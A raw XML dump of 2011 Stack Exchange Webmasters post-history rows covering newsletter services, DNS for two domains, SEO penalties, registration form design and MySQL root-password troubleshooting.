  <row Id="46297" PostHistoryTypeId="17" PostId="18925" RevisionGUID="53d526fd-a6a3-4eda-af26-e15808f5c1db" CreationDate="2011-08-30T07:08:07.607" UserId="-1" Comment="from http://stackoverflow.com/questions/7239437/newsletter-for-my-website" Text="" />
  <row Id="46298" PostHistoryTypeId="17" PostId="18926" RevisionGUID="9c8540ec-beac-4bba-a833-b8f4d5df7ef9" CreationDate="2011-08-30T07:08:07.607" UserId="-1" Comment="from http://stackoverflow.com/questions/7239437/newsletter-for-my-website" Text="" />
  <row Id="46299" PostHistoryTypeId="2" PostId="18926" RevisionGUID="14a05d74-ac8e-4c6c-92d5-c1e8dc870522" CreationDate="2011-08-30T06:48:02.227" UserId="84" Text="Please forward to [MailChimp][1]&#xD;&#xA;&#xD;&#xA;Advantages of not sending mailings yourself:&#xD;&#xA;&#xD;&#xA;- The probability of being Black Listed is very very low&#xD;&#xA;- MailChimp handles all sending, subscribing, unsubscribing and acts accordingly to SPAM Rules&#xD;&#xA;- All you need to do is be creative when doing your Email, and even that they help you out with [several email templates][2] ready for all Mail clients preventing you hours of pain because there are a lot of tricks for building email templates, as it's nothing like webpages cause all the [different mail clients support features][3].&#xD;&#xA;- To avoid being black listed, they throttle the sending throughout several different servers&#xD;&#xA;- They will handle any &quot;Report as SPAM&quot;&#xD;&#xA;- You are able to use opt-in or double opt-in &#xD;&#xA;- You are able to change all HTML code of every page (Subscribe, Welcome, Goodbye, Unsubscribe, archive of Previous Emails, etc) so it can show just like your website&#xD;&#xA;&#xD;&#xA;It even has a [full API][4] that you can use to do stuff programmatically and a vast [library of resources][5] so you can learn all about Mailing&#xD;&#xA;&#xD;&#xA;If free if you have a list of less than 2000 subscribers.&#xD;&#xA;&#xD;&#xA;Other Mailing company that I use everyday is [Campaign Monitor][6], though they don't have Free Subscriptions, I love their API better :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://MailChimp.com&#xD;&#xA;  [2]: http://mailchimp.com/resources/html-email-templates/&#xD;&#xA;  [3]: http://www.campaignmonitor.com/css/&#xD;&#xA;  [4]: http://apidocs.mailchimp.com/&#xD;&#xA;  [5]: http://mailchimp.com/resources/&#xD;&#xA;  [6]: http://CampaignMonitor.com" />
  <row Id="46300" PostHistoryTypeId="2" PostId="18925" RevisionGUID="ededa075-1f2d-431f-90f5-fbcb694d4e80" CreationDate="2011-08-30T06:26:02.877" UserDisplayName="anthonypliu" Text="I have been recently looking at some websites and they have a mailing list newsletter.  If I click unsubscribe it goes straight to their server and you can unsubscribe from their server.   &#xD;&#xA;&#xD;&#xA; - What tools do they use to manage this?  I was thinking of something like Constant Contact, but with Constant Contact you have to go to their page to unsubscribe from their mailing list.  &#xD;&#xA; - If big websites use their own servers to send out these mailing list newsletters, wouldn't they need some 3rd party software to handle so many emails?&#xD;&#xA; - What is the best way for creating something like this that's on my own website?  (aka they can go into their account and disable newsletters and it will automatically not send them emails, but it takes place ON their website)&#xD;&#xA;&#xD;&#xA;    " />
  <row Id="46301" PostHistoryTypeId="1" PostId="18925" RevisionGUID="ededa075-1f2d-431f-90f5-fbcb694d4e80" CreationDate="2011-08-30T06:26:02.877" UserDisplayName="anthonypliu" Text="Newsletter for my website" />
  <row Id="46302" PostHistoryTypeId="3" PostId="18925" RevisionGUID="ededa075-1f2d-431f-90f5-fbcb694d4e80" CreationDate="2011-08-30T06:26:02.877" UserDisplayName="anthonypliu" Text="&lt;c#&gt;&lt;asp.net&gt;&lt;email&gt;" />
  <row Id="46303" PostHistoryTypeId="2" PostId="18927" RevisionGUID="388cbedf-858d-46d6-ad56-64a4e32b33e0" CreationDate="2011-08-30T07:53:20.810" UserId="9939" Text="I see that this issue is sorting itself out now. You can test by doing an [info: query on Google like this][1] which brings up the new URL.&#xD;&#xA; &#xD;&#xA;The thing about the canonical tag is that it’s a directive which means it doesn’t work 100% of the time. 301 redirects are the same – they don’t always pass 100% of the weight through the redirect.&#xD;&#xA; &#xD;&#xA;Also with either of them it takes a few weeks for Google to understand that they are there to stay and should be followed. This is an issue with new pages because they go live and will be on the wrong URL for a few days/weeks before Google follows the canonical.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.co.uk/search?rlz=1C1SVEE_enGB424GB424&amp;cx=c&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=info:facebook.stackoverflow.com/questions/3720459/iad-error-ad-inventory-unavailable&#xD;&#xA;  [2]: http://i.stack.imgur.com/djk1F.png" />
  <row Id="46304" PostHistoryTypeId="5" PostId="18927" RevisionGUID="3c6713e0-8000-40d5-a0d5-3f0447961ad6" CreationDate="2011-08-30T08:02:18.230" UserId="3" Comment="added 62 characters in body" Text="I see that this issue is sorting itself out now. You can test by doing an [info: query on Google like this][1] which brings up the new URL.&#xD;&#xA;&#xD;&#xA;![google result for facebook.stackoverflow.com/q/3720459][2]&#xD;&#xA; &#xD;&#xA;The thing about the canonical tag is that it’s a directive which means it doesn’t work 100% of the time. 301 redirects are the same – they don’t always pass 100% of the weight through the redirect.&#xD;&#xA; &#xD;&#xA;Also with either of them it takes a few weeks for Google to understand that they are there to stay and should be followed. This is an issue with new pages because they go live and will be on the wrong URL for a few days/weeks before Google follows the canonical.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.co.uk/search?rlz=1C1SVEE_enGB424GB424&amp;cx=c&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=info:facebook.stackoverflow.com/questions/3720459/iad-error-ad-inventory-unavailable&#xD;&#xA;  [2]: http://i.stack.imgur.com/tKbpb.png" />
  <row Id="46305" PostHistoryTypeId="2" PostId="18928" RevisionGUID="61c32cf1-9010-4d98-8f05-ac852c20be3f" CreationDate="2011-08-30T08:06:22.147" UserId="9941" Text="I want to do an A B test of an entire site for a new design and UX with only slight changes in content (a big brand site that has good Google rankings for many generic keywords. &#xD;&#xA;My idea of implementation is doing a 302 redirect to the new version (placing it on www1 subdomain) and allowing only user agents of known browsers to pass. The test version will have disallow all in the robots text.&#xD;&#xA;&#xD;&#xA;Will Google treat this favorably or do I have to use Google Website Optimizer (which will give me tracking headaches)?" />
  <row Id="46306" PostHistoryTypeId="1" PostId="18928" RevisionGUID="61c32cf1-9010-4d98-8f05-ac852c20be3f" CreationDate="2011-08-30T08:06:22.147" UserId="9941" Text="Best method to do A B testing across to subdomains" />
  <row Id="46307" PostHistoryTypeId="3" PostId="18928" RevisionGUID="61c32cf1-9010-4d98-8f05-ac852c20be3f" CreationDate="2011-08-30T08:06:22.147" UserId="9941" Text="&lt;google&gt;&lt;a-b-testing&gt;&lt;google-website-optimizer&gt;" />
  <row Id="46308" PostHistoryTypeId="2" PostId="18929" RevisionGUID="ee941532-356a-4a7b-8d1d-37fa2a13523e" CreationDate="2011-08-30T08:22:40.443" UserId="9938" Text="my client has registered a domain name on godaddy. He already is hosting a site on smartyhost. Now he wants his godaddy site to point smartyhost site. He does not want a redirect, instead he wants that two different BASE URLs will represent one site. I have read about this but i m confused as there are many solutions and none has worked for me.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;1- Domain forwarding&#xD;&#xA;2- DNS&#xD;&#xA;3- Site mirroring&#xD;&#xA;4- A records&#xD;&#xA;5- Point a domain to another&#xD;&#xA;&#xD;&#xA;and many more. I can't understand difference among them all. Can you tell me what is best solution for me and how can i use that solution.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="46309" PostHistoryTypeId="1" PostId="18929" RevisionGUID="ee941532-356a-4a7b-8d1d-37fa2a13523e" CreationDate="2011-08-30T08:22:40.443" UserId="9938" Text="two domain names, one hosting" />
  <row Id="46310" PostHistoryTypeId="3" PostId="18929" RevisionGUID="ee941532-356a-4a7b-8d1d-37fa2a13523e" CreationDate="2011-08-30T08:22:40.443" UserId="9938" Text="&lt;dns&gt;" />
  <row Id="46311" PostHistoryTypeId="2" PostId="18930" RevisionGUID="22b3f6af-78e2-4f4a-84e2-a22040744112" CreationDate="2011-08-30T08:28:36.493" UserId="221" Text="It should be fairly straight forward. Both domains will resolve to the same IP address. The server at that address will know to serve up the same site for both domains. This is fairly easily configured in Apache and also, I imagine, in most other webservers.&#xD;&#xA;&#xD;&#xA;Do note that search engines (notably Google) may penalize you for serving up identical content on multiple domains." />
  <row Id="46312" PostHistoryTypeId="2" PostId="18931" RevisionGUID="2e744728-8e75-485b-8b0f-ab7035bbd4cf" CreationDate="2011-08-30T09:29:50.293" UserId="4306" Text="Google can't read your PHP code. It can only read the output of your web server. So your server *must* be spitting out PHP code somewhere.&#xD;&#xA;&#xD;&#xA;If your site is functioning normally, then the most likely place for this to happen is on an error page, or 404 page.  What happens if you type in a non-existent URL? Do you see an error page that includes some of the keywords above?&#xD;&#xA;&#xD;&#xA;What happens if you search your site for some of those keywords? Which page is returned?&#xD;&#xA;&#xD;&#xA;e.g. `site:yoursite.com public_html`" />
  <row Id="46313" PostHistoryTypeId="25" PostId="18928" RevisionGUID="cc1e544b-429b-4f84-b84e-858f3353506c" CreationDate="2011-08-30T09:36:10.580" Comment="http://twitter.com/#!/StackWebmasters/status/108473073841348609" />
  <row Id="46314" PostHistoryTypeId="2" PostId="18932" RevisionGUID="542e2ddd-0ec5-436e-88df-34b6ae54600c" CreationDate="2011-08-30T09:49:09.793" UserId="4306" Text="There are a number of reasons that your site can begin ranking poorly with Google. The first step is to find out exactly what has happened:&#xD;&#xA;&#xD;&#xA;    1. Deindexed – When your domain is completely removed from Google. Also known as Banned.&#xD;&#xA;    2. Penalized – When your domain or page still exists but none of your pages can be found through very direct search queries.  This penalty can be automatic through the Google algorithm or manually applied by a Google Quality Engineer.&#xD;&#xA;    3. Sunk – Your domain or page wasn’t Deindexed or Penalized, but the traffic you were getting from Google suddenly drops dramatically. Also known as Sent To Hell and Sandboxed.&#xD;&#xA;&#xD;&#xA;From your description, it sounds like you've been Penalized. The following site has a great description of reasons that you might be penalized and what you can do about it:&#xD;&#xA;&#xD;&#xA;* [Electron Plumber: What to do when your site drops in the Google Search results][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://electronplumber.com/what-to-do-when-your-site-drops-in-the-google-search-results/" />
  <row Id="46316" PostHistoryTypeId="2" PostId="18934" RevisionGUID="c73a63f0-155b-4c19-8db6-14d8da65f588" CreationDate="2011-08-30T11:19:36.403" UserId="9943" Text="I think this module may help&#xD;&#xA;http://drupal.org/project/multisite_login&#xD;&#xA;&#xD;&#xA;storing and sharing user data is the tough part.(not sure if the above module helps with that)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="46317" PostHistoryTypeId="2" PostId="18935" RevisionGUID="66bccef7-cd88-4bd8-a333-ad5d71789c8f" CreationDate="2011-08-30T11:27:19.853" UserId="9943" Text="you can track events with google code.&#xD;&#xA;&#xD;&#xA;put this code in your head &#xD;&#xA;&lt;script&gt;&#xD;&#xA;  function recordOutboundLink(link, category, action) {&#xD;&#xA;    _gat._getTrackerByName()._trackEvent(category, action);&#xD;&#xA;  }&#xD;&#xA;&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;then you could do as Hissohathair says above and put the onClick in every link&#xD;&#xA;&#xD;&#xA;    `&lt;a href=&quot;/path/to/page&quot; target=&quot;_blank&quot; onClick=&quot;javascript: recordOutboundLink(this, 'entercategoryname', 'enternameofaction');&quot;&gt;`&#xD;&#xA;&#xD;&#xA;then in your google analytics goto &quot;content &gt; Event tracking&quot;&#xD;&#xA;&#xD;&#xA;you can also use javascript to add this automatically instead of adding to each link&#xD;&#xA;(I wrote a wordpress plugin that had this feature)&#xD;&#xA;" />
  <row Id="46320" PostHistoryTypeId="5" PostId="18932" RevisionGUID="870629ab-dbf6-441d-8c62-a3e2bf2f9ce8" CreationDate="2011-08-30T11:48:05.390" UserId="4306" Comment="formatting" Text="There are a number of reasons that your site can begin ranking poorly with Google. The first step is to find out exactly what has happened:&#xD;&#xA;&#xD;&#xA;&gt; 1. **Deindexed** – When your domain is completely removed from Google.&#xD;&#xA;&gt; Also known as Banned.&#xD;&#xA;&gt; 2. **Penalized** – When your domain or page still exists but none of your&#xD;&#xA;&gt; pages can be found through very direct search queries.  This penalty&#xD;&#xA;&gt; can be automatic through the Google algorithm or manually applied by a&#xD;&#xA;&gt; Google Quality Engineer.&#xD;&#xA;&gt; 3. **Sunk** – Your domain or page wasn’t Deindexed or Penalized, but the&#xD;&#xA;&gt; traffic you were getting from Google suddenly drops dramatically. Also&#xD;&#xA;&gt; known as Sent To Hell and Sandboxed.&#xD;&#xA;&#xD;&#xA;From your description, it sounds like you've been Penalized. The following site has a great description of reasons that you might be penalized and what you can do about it:&#xD;&#xA;&#xD;&#xA;* [Electron Plumber: What to do when your site drops in the Google Search results][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://electronplumber.com/what-to-do-when-your-site-drops-in-the-google-search-results/" />
  <row Id="46321" PostHistoryTypeId="2" PostId="18936" RevisionGUID="21dca92f-98c2-4f74-ae5e-5c1dcc0f47fc" CreationDate="2011-08-30T11:54:58.297" UserId="9945" Text="I want to display a message to users who have visited my site 5 times, but have not yet +1'ed or Like'd to please do so. I guess javascript and a cookie are likely required. But have no idea how to go about doing this. Any ideas?&#xD;&#xA;&#xD;&#xA;Cheers, yannick" />
  <row Id="46322" PostHistoryTypeId="1" PostId="18936" RevisionGUID="21dca92f-98c2-4f74-ae5e-5c1dcc0f47fc" CreationDate="2011-08-30T11:54:58.297" UserId="9945" Text="Encouraging recurrent users to +1 (or Facebook Like)" />
  <row Id="46323" PostHistoryTypeId="3" PostId="18936" RevisionGUID="21dca92f-98c2-4f74-ae5e-5c1dcc0f47fc" CreationDate="2011-08-30T11:54:58.297" UserId="9945" Text="&lt;google&gt;&lt;search-engines&gt;&lt;javascript&gt;&lt;social-networks&gt;&lt;google-plus-one&gt;" />
  <row Id="46324" PostHistoryTypeId="17" PostId="18937" RevisionGUID="eaae1b22-c589-49eb-84ef-f650a0a6e268" CreationDate="2011-08-30T11:58:38.583" UserId="-1" Comment="from http://stackoverflow.com/questions/7242717/how-big-can-registration-form-can-be" Text="" />
  <row Id="46325" PostHistoryTypeId="2" PostId="18937" RevisionGUID="a710734a-9b6d-4409-83e2-65a831775dd3" CreationDate="2011-08-30T11:52:50.037" UserId="9947" UserDisplayName="Тарас Лукавий" Text="How to make lazy users register at my site?&#xD;&#xA;How much input fields can i use without having less registrations?&#xD;&#xA;I want to know my user's name, surname, age and where he is from. &#xD;&#xA;Also user needs to enter login and password." />
  <row Id="46326" PostHistoryTypeId="1" PostId="18937" RevisionGUID="a710734a-9b6d-4409-83e2-65a831775dd3" CreationDate="2011-08-30T11:52:50.037" UserId="9947" UserDisplayName="Тарас Лукавий" Text="How big can registration form can be?" />
  <row Id="46327" PostHistoryTypeId="3" PostId="18937" RevisionGUID="a710734a-9b6d-4409-83e2-65a831775dd3" CreationDate="2011-08-30T11:52:50.037" UserId="9947" UserDisplayName="Тарас Лукавий" Text="&lt;html&gt;&lt;users&gt;&lt;registration&gt;" />
  <row Id="46328" PostHistoryTypeId="2" PostId="18938" RevisionGUID="ac16ad01-acd1-4f3d-9c4f-6636c50103c8" CreationDate="2011-08-30T12:01:16.643" UserId="9946" Text="See the size of registration form totally depends on the information what you really require, if more information is not required for registration on first and last name will do with login id and pwd. But however i would prefer you to have a standard login page(as in any email website) if you require actual data of the user else make it short with user email id and login id pwd. However you can have some confirmation link kind of mechanishm to verify the email(as we have now a days for most of the site). Talking about lazy users, if they have advantage from ur site they will definetly register( make field compulsory if required) and if its not usefull no one gonna register. So dont think in this way... think as per ur requirement.&#xD;&#xA;" />
  <row Id="46329" PostHistoryTypeId="5" PostId="18918" RevisionGUID="093da5c8-90ef-4761-8b87-9de48426dd67" CreationDate="2011-08-30T12:03:12.737" UserId="9936" Comment="added 604 characters in body" Text="This looks like there is an issue with mysql.user table&#xD;&#xA;&#xD;&#xA;Please run this query:&#xD;&#xA;&#xD;&#xA;    SELECT user,host,password FROM mysql.user WHERE user='root';&#xD;&#xA;&#xD;&#xA;Something tells me you will see multiple root users. One of those root users still has its password blank. Since you already added a password to one of the root users, here is a query to spread that password to other root users:&#xD;&#xA;&#xD;&#xA;    UPDATE mysql.user&#xD;&#xA;    SET password =&#xD;&#xA;    (&#xD;&#xA;        SELECT password FROM mysql.user&#xD;&#xA;        WHERE user='root' AND password &lt;&gt; ''&#xD;&#xA;    )&#xD;&#xA;    WHERE user='root' AND password='';&#xD;&#xA;    FLUSH PRIVILEGES;&#xD;&#xA;&#xD;&#xA;Next time, you login as root with no password, run this query:&#xD;&#xA;&#xD;&#xA;    SELECT USER(),CURRENT_USER();&#xD;&#xA;&#xD;&#xA;This will show you two things:&#xD;&#xA;&#xD;&#xA;[USER()][1] reports *how you attempted* to authenticate in MySQL&#xD;&#xA;&#xD;&#xA;[CURRENT_USER()][2] reports how *you were allowed* to authenticate in MySQL&#xD;&#xA;&#xD;&#xA;Sometimes, these values are different. In your case, USER() is probably root@localhost and CURRENT_USER() is something else.&#xD;&#xA;&#xD;&#xA;Give it a Try !!!&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.mysql.com/doc/refman/5.5/en/information-functions.html#function_user&#xD;&#xA;  [2]: http://dev.mysql.com/doc/refman/5.5/en/information-functions.html#function_current-user&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="46330" PostHistoryTypeId="4" PostId="18937" RevisionGUID="315a0b06-60ec-4c75-a531-e7b8b0e58699" CreationDate="2011-08-30T12:13:21.483" UserId="4306" Comment="updated subject for clarity" Text="How many fields should a registration form have?" />
  <row Id="46331" PostHistoryTypeId="24" PostId="18937" RevisionGUID="315a0b06-60ec-4c75-a531-e7b8b0e58699" CreationDate="2011-08-30T12:13:21.483" Comment="Proposed by 4306 approved by 1253 edit id of 517" />
  <row Id="46332" PostHistoryTypeId="5" PostId="12617" RevisionGUID="cd86b2df-861b-4174-b331-5b6824eee3cd" CreationDate="2011-08-30T12:14:20.267" UserId="9936" Comment="added 1996 characters in body" Text="MySQL is a relational database management system (RDBMS) that runs as a server providing multi-user access to a number of databases. MySQL is officially pronounced /maɪˌɛskjuːˈɛl/ (&quot;My S-Q-L&quot;), but is often pronounced /maɪˈsiːkwəl/ (&quot;My Sequel&quot;). It is named for original developer Michael Widenius's daughter My.&#xD;&#xA;&#xD;&#xA;The MySQL development project has made its source code available under the terms of the GNU General Public License, as well as under a variety of proprietary agreements. MySQL is owned and sponsored by a single for-profit firm, the Swedish company MySQL AB, now owned by Sun Microsystems, a subsidiary of Oracle Corporation.&#xD;&#xA;&#xD;&#xA;[MySQL can run on multiple platforms (32-bit and 64-bit)][1]&#xD;&#xA;&#xD;&#xA; - Linux (Redhat Enterprise, Oracle Enterprise, Generic)&#xD;&#xA; - Sun Solaris&#xD;&#xA; - Mac OS X&#xD;&#xA; - Free BSD&#xD;&#xA; - Microsoft Windows&#xD;&#xA; - Source Code&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[MySQL features the use of several storage engines][2]&#xD;&#xA;&#xD;&#xA; - [InnoDB (default as of MySQL 5.5)][3]&#xD;&#xA; - [MyISAM (default prior to MySQL 5.5)][4]&#xD;&#xA; - [ARCHIVE][5]&#xD;&#xA; - [BLACKHOLE][6]&#xD;&#xA; - [CSV][7]&#xD;&#xA; - [MEMORY][8]&#xD;&#xA; - [MRG_MYISAM][9]&#xD;&#xA; - [FEDERATED][10]&#xD;&#xA;&#xD;&#xA;Each storage engine has unique properties that make effective usage of data depending on&#xD;&#xA;&#xD;&#xA;1. Read Performance&#xD;&#xA;2. Write Performance&#xD;&#xA;3. Tuning the Settings&#xD;&#xA;&#xD;&#xA;Other third party storage engines have been used in MySQL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.mysql.com/downloads/mysql/&#xD;&#xA;  [2]: http://dev.mysql.com/doc/refman/5.5/en/storage-engines.html&#xD;&#xA;  [3]: http://dba.stackexchange.com/tags/innodb/info&#xD;&#xA;  [4]: http://dba.stackexchange.com/tags/myisam/info&#xD;&#xA;  [5]: http://dev.mysql.com/doc/refman/5.5/en/archive-storage-engine.html&#xD;&#xA;  [6]: http://dev.mysql.com/doc/refman/5.5/en/blackhole-storage-engine.html&#xD;&#xA;  [7]: http://dev.mysql.com/doc/refman/5.5/en/csv-storage-engine.html&#xD;&#xA;  [8]: http://dev.mysql.com/doc/refman/5.5/en/memory-storage-engine.html&#xD;&#xA;  [9]: http://dev.mysql.com/doc/refman/5.5/en/merge-storage-engine.html&#xD;&#xA;  [10]: http://dev.mysql.com/doc/refman/5.5/en/federated-storage-engine.html" />
  <row Id="46333" PostHistoryTypeId="24" PostId="12617" RevisionGUID="cd86b2df-861b-4174-b331-5b6824eee3cd" CreationDate="2011-08-30T12:14:20.267" Comment="Proposed by 9936 approved by 1253 edit id of 516" />
  <row Id="46334" PostHistoryTypeId="5" PostId="18926" RevisionGUID="6e4c7221-6df4-4b11-85c3-c0805d8c111c" CreationDate="2011-08-30T12:14:29.330" UserId="9123" Comment="fixed small typo. added free pricing plan information 2000 subs, 12000 mails/month..." Text="Please forward to [MailChimp][1]&#xD;&#xA;&#xD;&#xA;Advantages of not sending mailings yourself:&#xD;&#xA;&#xD;&#xA;- The probability of being Black Listed is very very low&#xD;&#xA;- MailChimp handles all sending, subscribing, unsubscribing and acts accordingly to SPAM Rules&#xD;&#xA;- All you need to do is be creative when doing your Email, and even that they help you out with [several email templates][2] ready for all Mail clients preventing you hours of pain because there are a lot of tricks for building email templates, as it's nothing like webpages cause all the [different mail clients support features][3].&#xD;&#xA;- To avoid being black listed, they throttle the sending throughout several different servers&#xD;&#xA;- They will handle any &quot;Report as SPAM&quot;&#xD;&#xA;- You are able to use opt-in or double opt-in &#xD;&#xA;- You are able to change all HTML code of every page (Subscribe, Welcome, Goodbye, Unsubscribe, archive of Previous Emails, etc) so it can show just like your website&#xD;&#xA;&#xD;&#xA;It even has a [full API][4] that you can use to do stuff programmatically and a vast [library of resources][5] so you can learn all about Mailing&#xD;&#xA;&#xD;&#xA;It's free if you have a list of less than 2000 subscribers and you can't send more than 12000 emails per calendar month.&#xD;&#xA;&#xD;&#xA;Other Mailing company that I use everyday is [Campaign Monitor][6], though they don't have Free Subscriptions, I love their API better :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://MailChimp.com&#xD;&#xA;  [2]: http://mailchimp.com/resources/html-email-templates/&#xD;&#xA;  [3]: http://www.campaignmonitor.com/css/&#xD;&#xA;  [4]: http://apidocs.mailchimp.com/&#xD;&#xA;  [5]: http://mailchimp.com/resources/&#xD;&#xA;  [6]: http://CampaignMonitor.com" />
  <row Id="46335" PostHistoryTypeId="24" PostId="18926" RevisionGUID="6e4c7221-6df4-4b11-85c3-c0805d8c111c" CreationDate="2011-08-30T12:14:29.330" Comment="Proposed by 9123 approved by 1253 edit id of 515" />
  <row Id="46336" PostHistoryTypeId="4" PostId="18924" RevisionGUID="e62b6c27-a29b-470a-95f1-9818dcdf3a46" CreationDate="2011-08-30T12:16:58.597" UserId="4306" Comment="updated subject for clarity" Text="Google Webmaster Tools shows wrong keywords" />
  <row Id="46337" PostHistoryTypeId="24" PostId="18924" RevisionGUID="e62b6c27-a29b-470a-95f1-9818dcdf3a46" CreationDate="2011-08-30T12:16:58.597" Comment="Proposed by 4306 approved by 1253 edit id of 518" />
  <row Id="46338" PostHistoryTypeId="2" PostId="18939" RevisionGUID="b8588c83-04db-4271-ae26-e818da704f1c" CreationDate="2011-08-30T12:17:32.970" UserId="8130" Text="Hope i understand you correctly, you want to define the entry page *newindex.php* for your directory? There is no need for rewriting, simply define which page acts as the entry page. In the .htaccess file you can define:&#xD;&#xA;&#xD;&#xA;    DirectoryIndex newindex.php&#xD;&#xA;&#xD;&#xA;Now, if anybody calls your directory http://www.example.com, the page http://www.example.com/newindex.php will be shown. The file *index.html* is not necessary in this case, it's name is just a convention.&#xD;&#xA;" />
  <row Id="46339" PostHistoryTypeId="2" PostId="18940" RevisionGUID="2b14f742-c7dc-48f7-b2de-efb307899c3c" CreationDate="2011-08-30T12:22:16.657" UserId="8009" Text="If you want people to surrender information to you, you need to offer something useful or interesting to them after the completion of your registration process. Provided this is all in place, it is good practise to make the registration process as short and straight-forward as possible. To illustrate my point - if you had a registration form the length of a passport application form, I'd be suprised if anyone was willing to take 30 minutes out of their day to sign up unless the site offered tremendously useful resources.&#xD;&#xA;&#xD;&#xA;This rings true on the smaller scale - if all you *require* is a username and password, rather than all the extra information, you're much more likely to gain users. My approach would be to make the username and password (and possibly email) fields mandatory, with any extra information completely optional. &#xD;&#xA;&#xD;&#xA;Though of course, it is and always will be your call as the webmaster to decide. If that extra information is crucial to your operation or analytics, by all means require it, but expect to potentially pay in the way of reduced registrations." />
  <row Id="46343" PostHistoryTypeId="2" PostId="18942" RevisionGUID="53032853-1aa7-481c-852a-4268895fea31" CreationDate="2011-08-30T12:24:53.720" UserId="8965" Text="I get the folder with the following structure from my designer*:&#xD;&#xA;&#xD;&#xA;&gt; file.css &#xD;&#xA;&gt; images/&#xD;&#xA;&#xD;&#xA;Is there any tool which can automatically create sprite from images folder and replace all images references from file.css to appropriate sprite section?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*It is actually not a designer (the man who creates design in, for example, Photoshop) but the man who makes html+css from it. How is this profession correctly called in English?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="46344" PostHistoryTypeId="1" PostId="18942" RevisionGUID="53032853-1aa7-481c-852a-4268895fea31" CreationDate="2011-08-30T12:24:53.720" UserId="8965" Text="Create sprites automatically" />
  <row Id="46345" PostHistoryTypeId="3" PostId="18942" RevisionGUID="53032853-1aa7-481c-852a-4268895fea31" CreationDate="2011-08-30T12:24:53.720" UserId="8965" Text="&lt;css&gt;&lt;sprite&gt;" />
  <row Id="46346" PostHistoryTypeId="2" PostId="18943" RevisionGUID="acead560-4291-4b8f-ab77-8cffd5b6912a" CreationDate="2011-08-30T12:32:27.053" UserId="9868" Text="You can use facebook or google +1 [content lock plugin][1]. You need a custom edit to this type of plugin to see if the users are coming regularly to same page or to the root domain. Then you can open content lock or pop-up box for the like or +1. This plugin is just starting point for this, you have to work on the rest to get what you want. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/%E2%80%8Bfacebook-like-content-locker" />
  <row Id="46347" PostHistoryTypeId="25" PostId="18937" RevisionGUID="7bf84fc0-0444-4ab0-92be-98cf403c275f" CreationDate="2011-08-30T12:36:11.610" Comment="http://twitter.com/#!/StackWebmasters/status/108518373486366721" />
  <row Id="46350" PostHistoryTypeId="5" PostId="18930" RevisionGUID="f86a8799-38fb-4595-8f8d-7399093f438b" CreationDate="2011-08-30T12:59:21.070" UserId="221" Comment="added 249 characters in body" Text="It should be fairly straight forward. Both domains will resolve to the same IP address. The server at that address will know to serve up the same site for both domains. This is fairly easily configured in Apache and also, I imagine, in most other webservers.&#xD;&#xA;&#xD;&#xA;Do note that search engines (notably Google) may penalize you for serving up identical content on multiple domains. It is much preferable to have one domain redirect to the other. Case in point, [del.iciu.us][1] redirects to [www.delicious.com][2], rather than serving up the same content on both domains.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://del.iciu.us&#xD;&#xA;  [2]: http://www.delicius.com" />
  <row Id="46351" PostHistoryTypeId="5" PostId="18942" RevisionGUID="14d6bdd5-0ab6-4d2a-befc-f391bfa079ad" CreationDate="2011-08-30T13:02:27.587" UserId="8965" Comment="added 2 characters in body" Text="I get the folder with the following structure from my designer*:&#xD;&#xA;&#xD;&#xA;&gt; file.css &#xD;&#xA;&#xD;&#xA;&gt; images/&#xD;&#xA;&#xD;&#xA;Is there any tool which can automatically create sprite from images folder and replace all images references from file.css to appropriate sprite section?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*It is actually not a designer (the man who creates design in, for example, Photoshop) but the man who makes html+css from it. How is this profession correctly called in English?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="46352" PostHistoryTypeId="2" PostId="18945" RevisionGUID="f1494eb1-3ef8-462d-b53b-5a4fdd3fa4b7" CreationDate="2011-08-30T13:19:04.237" UserId="7392" Text="I did a competition check with market samurai on keyword&#xD;&#xA;&quot;really cheap widgets&quot;&#xD;&#xA;&#xD;&#xA;The competition result is reflected in the attached image:&#xD;&#xA;![market samurai competition search][1]&#xD;&#xA;&#xD;&#xA;They are huge sites but they do not have on page seo for my keyword, no keyword in title, url, desc, heading. They are targeting the most general terms like widgets, and other keywords related to them.&#xD;&#xA;But most are really old domains, thousands of backlinks.&#xD;&#xA;&#xD;&#xA;Could this guys be beaten with fewer backlinks but targeted pages with good content, on page seo, etc?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/O2WLi.jpg" />
  <row Id="46353" PostHistoryTypeId="1" PostId="18945" RevisionGUID="f1494eb1-3ef8-462d-b53b-5a4fdd3fa4b7" CreationDate="2011-08-30T13:19:04.237" UserId="7392" Text="Off page seo vs on page seo, market samurai competition check" />
  <row Id="46354" PostHistoryTypeId="3" PostId="18945" RevisionGUID="f1494eb1-3ef8-462d-b53b-5a4fdd3fa4b7" CreationDate="2011-08-30T13:19:04.237" UserId="7392" Text="&lt;seo&gt;&lt;competitors&gt;&lt;market-share&gt;" />
